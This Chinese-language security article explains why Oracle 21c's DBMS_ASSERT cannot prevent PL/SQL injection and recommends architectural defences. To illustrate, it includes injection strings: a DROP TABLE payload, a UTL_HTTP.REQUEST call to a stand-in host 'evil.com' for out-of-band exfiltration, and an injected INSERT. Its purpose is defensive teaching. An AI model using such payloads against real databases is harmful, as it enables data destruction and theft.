DBMS_ASSERT在Oracle 21c中完全不能防范PL/SQL注入，仅校验SQL标识符合法性，对PL/SQL代码、表达式、过程调用等无防护能力，误用将导致严重安全风险。
DBMS_ASSERT 在 Oracle 21c 中依然**不能防范 PL/SQL 注入**——它只校验字符串是否符合 SQL 标识符规范，对 PL/SQL 代码片段、表达式、过程调用等完全无防护能力。误以为它能防“PL/SQL 注入”，是生产环境里最危险的认知偏差之一。
DBMS_ASSERT 根本不处理 PL/SQL 逻辑
它设计目标非常明确：仅用于校验「元数据字符串」（如表名、列名、schema 名）是否合法。函数内部不做语法解析、不执行、不检查是否含分号、不拦截 EXECUTE IMMEDIATE 或 DBMS_SQL.PARSE 中的任意子串。
- 传入
'users; DROP TABLE users --'给DBMS_ASSERT.SIMPLE_SQL_NAME→ 直接报错ORA-44003: invalid SQL name（因为分号非法），看似“拦住了” - 但传入
'users WHERE 1=UTL_HTTP.REQUEST(''evil.com'')=1'→ 若错误地用了DBMS_ASSERT.ENQUOTE_NAME（它只加双引号，不校验）→ 返回"users WHERE 1=UTL_HTTP.REQUEST(''evil.com'')=1"，拼进动态 SQL 后就触发外带请求 -
DBMS_ASSERT.NOOP这个函数在 21c 里依然存在，且文档仍写“for debugging”——但它就是原样返回输入，任何把它用在用户输入路径上的做法，等于主动关闭防护
真正危险的“PL/SQL 注入”长什么样
所谓 PL/SQL 注入，本质是把用户输入拼进一段可执行的 PL/SQL 块中，例如：EXECUTE IMMEDIATE 'BEGIN ' || user_input || '; END;'。这时攻击者可提交：
DBMS_OUTPUT.PUT_LINE('hi'); INSERT INTO log VALUES (SYSDATE, 'pwned')
只要这段字符串没被拒绝，就会作为 PL/SQL 代码执行。而 DBMS_ASSERT 所有函数对此类输入全部放行或报错（因含分号、关键字等），但报错 ≠ 防护——它不阻止你用 ENQUOTE_NAME 或直接拼接。
-
DBMS_ASSERT.SQL_OBJECT_NAME只接受对象名（如EMP、SCOTT.EMP），遇到BEGIN、INSERT立即失败 - 没有函数能校验 “这串文本能否安全放进
BEGIN ... END;块里”——Oracle 官方从未提供该能力 - 21c 的新特性（如
UTL_INADDR限制、DBMS_CLOUD权限收紧）不改变这一事实：PL/SQL 层面的动态执行，必须靠架构控制，而非字符串校验
Oracle 21c 下唯一有效的应对方式
面对用户可控的 PL/SQL 动态执行需求，不要尝试用 DBMS_ASSERT “加固”，而应直接否定该模式。可行路径只有三条：
- 彻底禁用：把所有
EXECUTE IMMEDIATE 'BEGIN ...'改成预定义过程调用，输入仅作参数（用绑定变量），逻辑封装在签名固定的存储过程中 - 白名单路由：若必须支持多操作，用固定字符串（如
'create_user'、'reset_password'）作指令，查表映射到对应过程，禁止任何自由文本输入 - 权限隔离：启用
DEFINER'S RIGHTS存储过程，并确保调用者角色无EXECUTE ANY PROCEDURE或CREATE PROCEDURE权限；21c 中可配合INHERIT PRIVILEGES限制隐式权限继承
最常被忽略的一点：DBMS_ASSERT 的校验结果必须在 EXECUTE IMMEDIATE 之前完成，且校验变量与后续拼接变量必须是同一个值——中间若经 REPLACE、TRANSLATE 或大小写转换，校验就失效了。这点在 21c 的字符语义增强（如 NLS_COMP=LINGUISTIC）下更易出问题。
